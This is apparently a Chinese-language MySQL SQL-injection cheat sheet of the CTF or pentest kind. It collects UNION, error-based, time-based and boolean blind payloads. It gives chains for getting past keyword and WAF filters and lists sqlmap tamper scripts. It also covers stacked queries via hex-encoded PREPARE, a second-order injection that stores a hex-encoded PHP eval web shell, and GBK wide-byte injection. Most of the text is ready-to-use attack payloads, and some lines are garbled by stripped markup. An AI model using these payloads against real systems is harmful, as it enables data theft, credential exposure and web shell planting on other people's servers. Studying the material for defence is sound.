Mysql一把梭
常用命令一把梭
- 一些基本信息
MySQL版本 version() 当前用户名 user() 数据库名 database() 数据库路径 @@datadir 操作系统版本 @@version_compile_os 安装 MySQL 的安装路径 @@basedir
UNION注入一把梭
-
UNION注入
注意:Mysql要大于5.0 ``` 找到注入点后获取字段数
order by num
查看哪些地方有字段的回显
id=-1 UNION SELECT 1,2…,n
- 获取系统数据库名
select null,null,schema_name from information_schema.schemata
- 直接获取当前数据库名
`select null,null,...,database()`
- 获取数据库中的表
select null,null,…,group_concat(table_name) from information_schema.tables where table_schema=database()
- 获取表中的字段
select null,null,…,group_concat(column_name) from information_schema.columns where table_schema=database() and tadble_name=’<你取得的表名>'你取得的表名>
- 获取各个字段值
-
select null,group_concat(<获取到的字段1>,<获取到的字段2>) from <当前表名>当前表名>获取到的字段2>获取到的字段1>
- UNION + JOIN 注入
适用于:逗号被过滤
union SELECT * FROM (SELECT 1)a JOIN (SELECT 1)b JOIN (SELECT database())c;
- 报错注入一把梭
若有报错信息则选择报错注入
UpdateXml(有长度限制,最长32位)
id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
如果concat被过滤了,可以使用MAKE_SET函数
ExtractValue(有长度限制,最长32位)
id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
如果concat被过滤了,可以使用MAKE_SET函数
exp(5.5.5以上)
普通查询 select exp(~(select*from(select user())x));
得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name=’users’ limit 0,1)x));
检索数据:
select exp(~ (select*from(select concat_ws(‘:’,id, username, password) from users limit 0,1)x));
mysql>5.5.53时,则不能返回查询结果
floor(需要三个函数支持)
Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;
count(*)、rand()、group by三者缺一不可
floor完整的注入流程
其余报错
GeometryCollection()
id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))
polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))
multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))
multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))
linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))
multipolygon()
id =1 AND multipolygon((select * from(select * from(select user())a)b))
都不怎么好用 ```
- 时间,布尔盲注一把梭 时间 ``` sleep
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
if判断语句,条件为假,执行sleep
BENCHMARK
BENCHMARK(count,expr)
在运行过程中占用大量的cpu资源
笛卡尔积
’ and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#
查询数据量极大的表造成延时。
- 不正确正则
select if(substr((select 1)=’1’,1,1),concat(rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’),rpad(1,999999,’a’)) RLIKE ‘(a.)+(a.)+(a.)+(a.)+(a.)+(a.)+(a.*)+b’,1);
- 布尔
left(user(),1)>’r’
right(user(),1)>’r’
substr(user(),1,1)=’r’
mid(user(),1,1)=’r’
greatest(“sed”,database())= “sed” //返回最大值再与字符串比较
select least(“sea”,database())=”sea”; //返回最小值再与字符串比较
//不使用逗号 user() regexp ‘^[a-z]’ user() like ‘root%’ //注意_/%通配符,建议写脚本的时候时候写到字符集最后面 POSITION(‘root’ in user()) mid(user() from 1 for 1)=’r’ mid(user() from 1)=’r’ substr(user() from 1 for 1)=’r’ substr(user() from 1)=’r’
ASCII()、ORD()和CHAR()函数一般用做辅助。
## Bypass一把梭
- 过滤空格
两个空格代替一个空格,用Tab代替空格,注释代替空格
%20 %09 %0a %0b %0c %0d %a0 %00 /*/ /!*/
- 括号绕过空格
id=1’and(sleep(ascii(substr(database(),1,1))=109)) #
空格被过滤,括号没有被过滤,可以用括号绕过 ```
- 过滤逗号
盲注(substr(),mid(),limit)
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
//对于limit可以使用offset来绕过
limit 0,1 等价于 limit 1 offset 0
直接替换为like注入
select user() like 'ro%'
注意通配符 %
- union + join注入
union select 1,2 等价于 union select * from (select 1)a join (select 2)b
过滤比较符号
- 过滤了等号 ``` 原代码:select * from users where id =1
regexp: select * from users where id REGEXP ‘^1$’
!<>: select * from users where !(id<>1)
in: select ‘user’ in (‘user’); 字符串都是可以用16进制代替的.
用函数绕过: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest()
- 过滤了大于小于
greatest(a,b),返回a和b中较大的那个数。 select * from users where id=1 and ord(mid(database(),0,1))>1 等价 select * from users where id=1 and greatest(ord(mid(database(),0,1)),123)=123
- 过滤了if
case…when…then…else来代替
select * from users where id=1 and if(1=1,sleep(5),0) 等价于:
select * from users where id=1 and case when 1=1 then sleep(5) else 0 end
### 常见Bypass
PHP中一些常见的过滤方法及绕过方式
过滤关键字 and or php代码 preg_match(‘/(and|or)/i’,$id) 会过滤的攻击代码 1 or 1=1 1 and 1=1 绕过方式 1 || 1=1 1 && 1=1
过滤关键字 and or union php代码 preg_match(‘/(and|or|union)/i’,$id) 会过滤的攻击代码 union select user,password from users 绕过方式 1 && (select user from users where userid=1)=’admin’
过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 && (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 && (select user from users limit 1) = ‘admin’
过滤关键字 and, or, union, where, limit php代码 preg_match(‘/(and|or|union|where|limit)/i’, $id) 会过滤的攻击代码 1 && (select user from users limit 1) = ‘admin’ 绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin
过滤关键字 and, or, union, where, limit, group by php代码 preg_match(‘/(and|or|union|where|limit|group by)/i’, $id) 会过滤的攻击代码 1 && (select user from users group by user_id having user_id = 1) = ‘admin’ 绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
过滤关键字 and, or, union, where, limit, group by, select php代码 preg_match(‘/(and|or|union|where|limit|group by|select)/i’, $id) 会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 绕过方式 1 && substr(user,1,1) = ‘a’
过滤关键字 and, or, union, where, limit, group by, select, ‘ php代码 preg_match(‘/(and|or|union|where|limit|group by|select|')/i’, $id) 会过滤的攻击代码 1 && (select substr(gruop_concat(user_id),1,1) user from users) = 1 绕过方式 1 && user_id is not null 1 && substr(user,1,1) = 0x61 1 && substr(user,1,1) = unhex(61)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex)/i’, $id) 会过滤的攻击代码 1 && substr(user,1,1) = unhex(61) 绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex|substr)/i’, $id) 会过滤的攻击代码 1 && substr(user,1,1) = lower(conv(11,10,16))/td> 绕过方式 1 && lpad(user,7,1)
过滤关键字 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格 php代码 preg_match(‘/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i’, $id) 会过滤的攻击代码 1 && lpad(user,7,1)/td> 绕过方式 1%0b||%0blpad(user,7,1)
过滤关键字 and or union where php代码 preg_match(‘/(and|or|union|where)/i’,$id) 会过滤的攻击代码 1 || (select user from users where user_id = 1) = ‘admin’ 绕过方式 1 || (select user from users limit 1) = ‘admin’
### MySQL下Update、Insert注入方法
- pow溢出报错
pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错
`select 1 and if(1=1,1,pow(2,2222222222222222222))`
过滤了延时语句,正常页面与错误页面没有区别,当sql语句出错时会返回自定义的错误页面。
- XOR注入
admin’^(ascii(mid((password)from(i)))>j)^’1’=’1’%23 或者 admin’^(ascii(mid((password)from(i)for(1)))>j)^’1’=’1’%23
过滤了关键字:and、or
过滤了逗号,
过滤了空格
- regexp注入
select (select语句) regexp ‘正则’
过滤了=、in、like ```
order by盲注
暂略
无列名注入
在不知道 MySQL 列名的情况下泄露数据的 SQL 注入技巧
-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
需要注意字段数,以及回显的地方,以及要查询的东西
适用于:数据泄露或者过滤关键字段名的一把梭
tamper一把梭
apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
上面 转自 > https://p2hm1n.github.io/2019/06/07/SQL%E6%B3%A8%E5%85%A5%E4%B8%80%E6%8A%8A%E6%A2%AD/#more
mysql pdo 支持多句执行
比如where后面还能不能update数据,显然我们只需用;闭合第一条SQL语句,在第二条SQL语句里update就行了。
WAF拦截特殊符号及select关键字的问题,我们使用prepare语法:
prepare a from 0x73656c656374202a2066726f6d206d7973716c2e757365723b;execute a;
将需要执行的任意SQL语句用hex编码,prepare后执行即可。
二次注入
register.php
$username = htmlspecialchars(filter($username));
$password = md5($password);
$name = htmlspecialchars(filter($name));
$limit = filter($limit);
$sql = "select uid from users where username = '$username'";
$result = mysql_query($sql);
if($row = mysql_fetch_array($result))
{
header("location:register.php");exit;
}
$sql = "insert into users(`username`,`password`,`name`,`limit`) values('$username','$password','$name','$limit');";
$result = mysql_query($sql);
if($result)
{
header("location:login.php");exit;
}
让message字段入库的时候以16进制写进数据库,只要是没有单引号包裹的16进制最后入库都会还原成原本的字符串。aa’,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e)#
其中16进制是一句话的hex编码。这样的话 我们执行 insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."')
#之后的被注释,0x3c3f70687020406576616c28245f504f53545b615d293b3f3e就是字段message的值,而且是没有单引号包裹的。所以当我们执行了insert操作之后。message字段的值就是<?php eval($_POST[a]);?>了
function filter($input)
{
return $input;
}
foreach(array('_GET','_POST','_COOKIE') as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox("hello,sangebaimao!");
}else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}
所以所有参数的单引号,双引号,反斜杠被转义为:\' \" \\,但是带入sql语句执行后的结果就是各参数的值都被原样保留了下来。
name和username中的&,",',<,>被转换成HTML实体代码&成为&"成为"'成为';<成为 <>成为></li>
二次注入点 limit 后
$name = $_SESSION['users'];
$uid = $_SESSION['uid'];
$num = $_SESSION['limit'];
$message = htmlspecialchars(filter($message));
$sql = "insert into guestbook(`uid`,`name`, `message`) values('".$uid."','".$name."','".$message."');";
$result = mysql_query($sql);
if($result)
{
header("location:main.php");
}
$sql = "select id,name,message from guestbook where uid=".$uid." order by id desc limit 0,".$num.";";
$result = mysql_query($sql);
宽字节
宽字节注入原理 有三种形式: (1)情景一:在PHP中使用mysql_query(“set names GBK”);指定三个字符集(客户端、连接层、结果集)都是GBK编码。 情景代码:
mysql_query(“set names GBK”);
$bar = addslashes($_GET[‘bar’]) ;
$sql = “select password from user where bar=’{$bar}’”;
$res = mysql_query($sql) ;
提交:http://127.0.0.1/foo.php?bar=admin%df%27
这时,发生如下转换:
%df%27=====(addslashes)======>%df%5c%27======(GBK)======>運’
带入sql为:
Select password from user where bar=‘運’
成功将单引号闭合。为了避免漏洞,网站一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞。
(2)情景二: 使用set names UTF-8指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。 情景代码:
mysql_query(“set names UTF-8”) ;
$bar =iconv(“GBK”,”UTF-8”, addslashes($_GET[‘’bar])) ;
$sql = “select password from user where bar=’{$bar}’” ;
$res = mysql_query($sql) ;
我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。
提交:http://127.0.0.1/foo.php?bar=%e5%5c%27
变换过程:(e55c转为UTF-8为e98ca6)
e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27
可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。
测试如下:
(3)情景三:使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。
这个情景的大前提是先编码后转义:
e98ca6====(iconv)=====>e55c=====(addslashes)====>e55c5c
同样可以多出一个反斜杠进行利用,在此不再详述,因为漏洞条件比较苛刻。
6、安全方案 对于宽字节编码,有一种最好的修补就是: (1)使用mysql_set_charset(GBK)指定字符集 (2)使用mysql_real_escape_string进行转义 原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢? 就是使用mysql_set_charset进行指定。 上述的两个条件是“与”运算的关系,少一条都不行。
报错
利用floor
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
我的注释:通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如 果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)2)可能 为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
利用ExtractValue
select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 我的注释:extractvalue()函数有两个参数,在实际注入时第一个参数设为1, 第二个参数就是需要爆的数据,如 extractvalue(1, concat(0x5c,version()))。同样,在使用中会遇到如下面UpdateXml()类似的相同问题,即果在爆的数据前不连接其他字符可 能会显示不完全。即获取版本号时,第二个参数不能为version(),而应改为concat(0x5c,version())
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/index.php?uid=1%bf'and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables where table_schema=0x77696b69 limit 1)))%23
http://sql.sycsec.com/f8077f08525d33bd7f0b1fd98b53dc59/index.php?uid=1%bf'and extractvalue(1, concat(0x5c, (select key_flag from `[key_flag]` limit 1)))%23
利用UpdateXml 测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select
user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
我的注释:UpdateXml()函数有三个参数,在实际渗透时第一个和第三个参数直接写1即可,第二个参数就是需要爆出的内容,要爆出不同的内容直接修改第二个参数即可。但是在实际使用时注意一个问题:即爆错的内容可能显示不完整。
5、join报错注入 利用表自己join自己。来达到列名相同来爆列名。参考文章:http://www.2cto.com/Article/201105/90933.html(绕过ids过滤information_schema接续灌注)。 下面以爆mysql.user表为例爆字段名的过程:
(1)爆第一个列名
select * from(select * from mysql.user a join mysql.user b)c;
(2)爆第二个列名(使用using)
select * from(select * from mysql.user a join mysql.user b using(Host))c;
(3)爆第三列名(还是使用using,参数是前两个列的列名)
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
依次类推,只要修改语句的using即可。
下面是使用join绕过ids的过程(ids过滤了information_schema)利用过程:
先本地构造测试表
create table users(id int,name varchar(20),passwd varchar(32));
insert into users value(1,’mickey’,’827ccb0eea8a706c4c34a16891f84e7b’);
create table news(is_admin int(1),id int(2),title varchar(100),date date);
insert into news values(1,1,’hello mickey’,now());
(1)爆列名
mysql> select * from(select * from users a join users b)c;
mysql> select * from(select * from users a join users b using(id))c;
mysql> select * from(select * from users a join users b using(id,name))c;
(2)爆数据
select * from(select * from users a join users b using(id,name,password))c